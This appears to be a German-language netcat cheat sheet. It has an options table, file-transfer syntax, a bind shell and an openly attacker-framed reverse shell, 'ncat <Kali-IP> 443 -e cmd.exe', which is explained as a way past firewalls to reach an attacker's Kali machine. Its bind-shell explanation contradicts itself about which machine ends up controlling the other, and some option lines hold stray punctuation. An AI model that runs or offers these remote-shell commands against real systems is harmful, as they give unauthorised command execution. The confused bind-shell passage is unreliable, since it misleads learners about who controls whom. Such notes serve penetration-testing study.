OptionenBeschreibung
-4Erzwingt die Nutzung von IPv4 (GNU-Netcat)
-6Erzwingt die Nutzung von IPv6 (GNU-Netcat)
-dLöst Netcat von der Konsole (Hintergrundbetrieb; unter Windows und bei aktuellen GNU-Netcat-Versionen verfügbar)
-DAktiviert die Option fürs Debugging von Sockets (GNU-Netcat)
-h` (display help)Zeigt die Hilfe an (Befehle/Optionen mit Kurzbeschreibung)
“-i` (secs)Verzögerung in Sekunden für gesendete Zeilen oder gescannte Ports
-kNetcat wartet nach Verbindungsende auf eine neue Verbindung (nur GNU-Netcat und nur in Verbindung mit „-l“ möglich)
“-l` (listen mode)Lausch-/Listen- und Server-Modus für eingehende Verbindungsanfragen (über angegebenen Port)
-L Listen harderNetcat wird veranlasst, auch nach clientseitigen Verbindungsabbrüchen weiterhin im Lauschmodus zu operieren (durchgängig mit den gleichen Parametern; wird nur von der Windows-Version unterstützt)
-n (numeric-only)Nur IP-Nummern, keine DNS-Namen
-o (file)Hex-Dump des Datenverkehrs wird durchgeführt (Inhalt von Dateien wird in hexadezimaler Ansicht dargestellt); dient der Fehlersuche (Debuggen von Netzanwendungen); Mitschneiden von Kommunikation (Sniffen) ist möglich (bei ausgehenden und eingehenden Paketen)
-p (port)Gibt den lokalen Quell-Port an, den Netcat für ausgehende Verbindungen nutzen soll
-rVerwendung zufälliger Portwerte beim Scannen (für lokale und entfernte Ports)
-s (adress)Legt die lokale Quelladresse fest (IP-Adresse oder Namen)
-tTelnet-Modus (ermöglicht z. B. Server-Ansprache über Telnet); erfordert eine spezielle Kompilierung von Netcat, ansonsten steht die Option nicht zur Verfügung
-uVerwendung des UDP-Modus (statt TCP)
-U (gateway)Netcat verwendet Unix-Domain Sockets (GNU-Netcat)
-vAusführliche Ausgabe (ist z. B. für die Anzeige und den Umfang angezeigter Fehlermeldungen verantwortlich)
-w (secs)Legt Time-outs fest: für den Verbindungsaufbau und für das Schließen einer Verbindung (Einheit: Sekunden)
-zPortscanner-Modus (zero-I/O mode); es wird nur nach lauschenden Diensten gescannt (kein Senden von Daten)

Connection


Client-Modus (connect to somewhere) nc [Optionen] [IP-Adresse/Hostname] [Port] Server-Modus (listen for inbound) nc -l -p port [options] [hostname] [port]

Dateien übertragen


(Server) nc -l -p 6790 > testdatei.txt (Client) nc [IP Server] [port] < testdatei.txt

Shell Binding


PC A(Hier Kali) nc -lnvp <port> -e /bin/bash -l: lauschen (Listen) auf eingehende Verbindung
-n: keine DNS-Auflösung (nur IPs)
-v: verbose (mehr Ausgaben)
-p <port>: bestimmter Port
-e /bin/bash: führt nach Verbindungsaufbau das Programm /bin/bash aus und leitet dessen Ein-/Ausgabe auf die Netzwerkverbindung gebunden ist.

PC B(Hier Windows) nc <Server IP> <port> verbindet sich zu IP + Port des Servers

Ergebnis: PC B bekommt eine Shell von PC A (bash), die über das Netzwerk gesteuert wird. So kann PC A Befehle auf PC B ausführen.

Reverse Shell


Eingehende Verbindungen werden oft von Firewalls blockiert. Ausgehende Verbindungen über Port 80/443 (HTTP/HTTPS) sind fast immer erlaubt. Reverse-Shell nutzt das aus:

  • Zielsystem baut selbst eine Verbindung nach außen (zum Angreifer) auf
  • Über diese Verbindung wird eine Shell (cmd.exe / bash) „getunnelt“

Verwendung

Angreifer (Hier Kali): ncat -lnvp 443 Erklärung: -l: lauschen (listen) -n: keine DNS-Auflösung -v: verbose -p 443: Port 443

Funktion:

  • Kali wartet auf eingehende Verbindungen auf Port 443.

Zielsystem (Hier Windows): ncat <Kali-IP> 443 -e cmd.exe Erklärung: Verbindet sich zu Kali auf Port 443. -e cmd.exe: führt nach Verbindungsaufbau cmd.exe aus Ein- und Ausgabe der cmd.exe werden über die Netzwerkverbindung geleitet.

Ergebnis:

  • Auf Kali erscheint eine Windows-Kommandozeile (cmd.exe).
  • Du kannst von Kali aus Befehle auf dem Windows-System ausführen.